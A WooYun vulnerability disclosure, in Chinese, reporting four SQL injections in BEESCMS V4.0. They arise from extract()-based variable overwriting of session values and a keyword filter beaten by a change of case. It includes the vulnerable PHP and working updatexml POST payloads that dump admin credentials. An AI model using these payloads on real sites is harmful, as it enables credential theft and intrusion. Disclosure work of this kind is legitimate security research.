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缺陷编号：wooyun-2015-0141182

漏洞标题：BEESCMS四处注入&&某设计缺陷&&无视防御

相关厂商：beescms.com

漏洞作者： 牛肉包子

提交时间：2015-09-15 18:25

修复时间：2015-12-19 18:27

公开时间：2015-12-19 18:27

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-15： 细节已通知厂商并且等待厂商处理中
2015-09-20： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-11-14： 细节向核心白帽子及相关领域专家公开
2015-11-24： 细节向普通白帽子公开
2015-12-04： 细节向实习白帽子公开
2015-12-19： 细节向公众公开

简要描述：

BEESCMS V4.0_R_20150708
最新版

详细说明：

看到includes\init.php

if(!defined('CMS')){die('Hacking attempt');}
error_reporting(E_ALL & ~E_NOTICE);
define('CMS_PATH',str_replace('includes','',str_replace('\\','/',dirname(__FILE__))));
define('INC_PATH',CMS_PATH.'includes/');
define('DATA_PATH',CMS_PATH.'data/');
define('LANG_PATH',CMS_PATH.'languages/');
define('MB_PATH',CMS_PATH.'member/');
define('TP_PATH',CMS_PATH.'template/');
@ini_set('date.timezone','Asia/Shanghai');
@ini_set('display_errors',1);
@ini_set('session.use_trans_sid', 0);
@ini_set('session.auto_start',    0);
@ini_set('session.use_cookies',   1);
@ini_set('memory_limit',          '64M');
@ini_set('session.cache_expire',  180);
session_start();
header("Content-type: text/html; charset=utf-8"); 
@include(INC_PATH.'fun.php');
unset($HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS);
if (!get_magic_quotes_gpc())
{
    if (isset($_REQUEST))
    {
        $_REQUEST  = addsl($_REQUEST);
    }
    $_COOKIE   = addsl($_COOKIE);
	$_POST = addsl($_POST);
	$_GET = addsl($_GET);
}
if (isset($_REQUEST)){$_REQUEST  = fl_value($_REQUEST);}
    $_COOKIE   = fl_value($_COOKIE);
	$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
@include(DATA_PATH.'confing.php');
$cms_url='http://'.$_SERVER['HTTP_HOST'].CMS_SELF;
define('CMS_URL',$cms_url);


上面那段代码里面就是一个伪全局变量注册，还有个防注入的函数。

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}


我们用大小写就可以绕过了。
然后看到mx_form/mx_form.php

define('CMS',true);
require_once('../includes/init.php');
require_once('../includes/fun.php');
require_once('../includes/lib.php');//载入模板调用函数，不载入该文件不能使用函数
$id=intval($_GET['id']);
$cate_info=get_cate_info($id,$category);
$channel_info=get_cate_info($cate_info['cate_channel'],$channel);//获得内容模型信息
if(empty($cate_info)){header('location:../index.php');}
$lang=$cate_info['lang'];
if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language
if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目
var_dump($_SESSION);
$_confing=get_confing($lang);//配置信息
$cat_id=$cate_info['id'];//栏目id
$cateid=$cat_id;
$parent_id=get_cate_last_parent($cat_id);//获取最终顶级栏目


包含了这个文件，所以我们可以通过GPC覆盖变量的值。然后在这个cms里面有很多没有初始化的变量，通过这个设计缺陷。我们可以来注入。
注入1
member\member.php

elseif($action=='main'){
	//var_dump($_SESSION);
	$url=$language['member_msg28'];
	$tpl->assign('position',get_dy_position($url));//位置
	if(empty($_SESSION['member_user'])||empty($_SESSION['member_id'])||empty($_SESSION['member_login'])){die('<script type="text/javascript">location.href=\'?action=login&lang='.$lang.'\';</script>');}
	$purview=$language['member_msg31'];
	if($_SESSION['member_purview']){
		$sql="select member_group_name from ".DB_PRE."member_group where id={$_SESSION['member_purview']}"; //注入1
		$rel=$GLOBALS['mysql']->fetch_asc($sql);
		$purview=$rel[0]['member_group_name'];
		unset($rel);
	}
	$sql="select*from ".DB_PRE."member where id=".intval($_SESSION['member_id']);
	$rel=$GLOBALS['mysql']->fetch_asc($sql);
	$sql="select count(*) as ask,member from ".DB_PRE."ask where member=".$rel[0]['id']." group by member";
	$arr=$GLOBALS['mysql']->fetch_asc($sql);
	$ask_count=isset($arr[0]['ask'])?$arr[0]['ask']:'';
	unset($arr);
	$tpl->assign('ask_count',$ask_count);
	$tpl->assign('login_time',date('Y-m-d H:m:s',$rel[0]['member_time']));
	$tpl->assign('login_ip',$rel[0]['member_ip']);
	$tpl->assign('login_count',$rel[0]['member_count']);
	$tpl->assign('purview',$purview);
	$tpl->assign('member',$_SESSION['member_user']);
	$tpl->display('member_login');
}


其中{$_SESSION['member_purview']}没有单引号包裹，所以造成注入。
首先访问

**.**.**.**/beescms/mx_form/mx_form.php?id=12

设置一次session里面的值

QQ截图20150914220034.jpg


然后访问

**.**.**.**/beescms/member/member.php?action=main&lang=cn


QQ截图20150914220119.jpg


注入二

elseif($action=='info'){
	$url=$language['member_msg28'];
	$tpl->assign('position',get_dy_position($url));//位置
	if(empty($_SESSION['member_user'])||empty($_SESSION['member_id'])||empty($_SESSION['member_login'])){die('<script type="text/javascript">location.href=\'?action=login&lang='.$lang.'\';</script>');}
	$sql="select*from ".DB_PRE."member where id=".$_SESSION['member_id']; //注入2
	$rel=$GLOBALS['mysql']->fetch_asc($sql);
	if(!empty($rel[0]['member_birth'])){$arr=explode('-',$rel[0]['member_birth']);}
	$tpl->assign('year',isset($arr['0'])?$arr['0']:'');
	$tpl->assign('month',isset($arr['1'])?$arr['1']:'');
	$tpl->assign('day',isset($arr['2'])?$arr['2']:'');
	$tpl->assign('info',$rel[0]);
	$tpl->display('member_login');
}


通过$_SESSION['member_id']来注入
首先

**.**.**.**/beescms/mx_form/mx_form.php?id=12


post数据

_SESSION[member_user]=tomato&_SESSION[member_login]=true&_SESSION[member_id]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)


然后访问

**.**.**.**/beescms/member/member.php?action=info&lang=cn


QQ截图20150914220401.jpg


注入3

elseif($action=='save_info'){
	if(empty($_SESSION['member_user'])||empty($_SESSION['member_id'])||empty($_SESSION['member_login'])){die('<script type="text/javascript">location.href=\'?action=login&lang='.$lang.'\';</script>');}
	$birthdayYear=fl_html(fl_value(intval($_POST['birthdayYear'])));
	$birthdayMonth=fl_html(fl_value(intval($_POST['birthdayMonth'])));
	$birthdayDay=fl_html(fl_value(intval($_POST['birthdayDay'])));
	$sex=fl_html(fl_value(intval($_POST['sex'])));
	$sex=empty($sex)?0:$sex;
	$mail=fl_html(fl_value($_POST['mail']));
	$qq=fl_html(fl_value($_POST['qq']));
	$tel=fl_html(fl_value($_POST['tel']));
	$phone=fl_html(fl_value($_POST['phone']));
	$submit=$_POST['submit'];
	if(!empty($qq)){
	if(!check_str($qq,'/^[1-9][0-9]*$/')){die("<script type=\"text/javascript\">alert('{$language['member_msg15']}');history.go(-1);</script>");}
	}
	if(!empty($phone)){
	if(!check_str($phone,'/^[1-9][0-9]*$/')){die("<script type=\"text/javascript\">alert('{$language['member_msg16']}');history.go(-1);</script>");}
	}
	if(empty($submit)){die("<script type=\"text/javascript\">alert('{$language['member_msg17']}');history.go(-1);</script>");}
	$birth=$birthdayYear.'-'.$birthdayMonth.'-'.$birthdayDay;
	$sql="update ".DB_PRE."member set member_tel='{$tel}',member_phone='{$phone}',member_birth='{$birth}',member_sex =".$sex.",member_qq='{$qq}' where id={$_SESSION['member_id']}"; //注入3
	$GLOBALS['mysql']->query($sql);
	die("<script type=\"text/javascript\">alert('{$language['member_msg18']}');history.go(-1);</script>");
}


$sql="update ".DB_PRE."member set member_tel='{$tel}',member_phone='{$phone}',member_birth='{$birth}',member_sex =".$sex.",member_qq='{$qq}' where id={$_SESSION['member_id']}";

其中{$_SESSION['member_id']}可以注入

**.**.**.**/beescms/member/member.php?action=save_info&lang=cn


我们post数据

_SESSION[member_purview]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)&_SESSION[member_user]=tomato&_SESSION[member_login]=true&_SESSION[member_id]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)&submit=xxxx


QQ截图20150914220704.jpg


注入4

elseif($action=='save_password'){
	if(empty($_SESSION['member_user'])||empty($_SESSION['member_id'])||empty($_SESSION['member_login'])){die('<script type="text/javascript">location.href=\'?action=login&lang='.$lang.'\';</script>');}
	$password_use=trim(fl_html(fl_value($_POST['password_use'])));
	$password_new=trim(fl_html(fl_value($_POST['password_new'])));
	$password_new2=trim(fl_html(fl_value($_POST['password_new2'])));
	if(empty($password_use)||empty($password_new)||empty($password_new2)){die("<script type=\"text/javascript\">alert('{$language['member_msg8']}');history.go(-1);</script>");}
	$sql="select member_password  from ".DB_PRE."member where id=".$_SESSION['member_id'];
	$rel=$GLOBALS['mysql']->get_row($sql);
	if(md5($password_use)!=$rel){die("<script type=\"text/javascript\">alert('{$language['member_msg26']}');history.go(-1);</script>");}
	if($password_new!=$password_new2){die("<script type=\"text/javascript\">alert('{$language['member_msg9']}');history.go(-1);</script>");}
	$sql="update ".DB_PRE."member set member_password='".md5($password_new)."' where id=".$_SESSION['member_id']; //注入4
	$GLOBALS['mysql']->query($sql);
	die("<script type=\"text/javascript\">alert('{$language['member_msg18']}');history.go(-1);</script>");
}


这段代码

$sql="update ".DB_PRE."member set member_password='".md5($password_new)."' where id=".$_SESSION['member_id'];


**.**.**.**/beescms/member/member.php?action=save_password&lang=cn


我们post数据

_SESSION[member_user]=tomato&_SESSION[member_login]=true&_SESSION[member_id]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)&password_use=xxxx&password_new=111&password_new2=xxxx


QQ截图20150914221205.jpg


由于$_SESSION[member_id]可控，所以可以造成大量的越权。

漏洞证明：

QQ截图20150914220119.jpg


QQ截图20150914220401.jpg


QQ截图20150914220704.jpg


修复方案：

你们专业

版权声明：转载请注明来源 牛肉包子@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-12-19 18:27

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无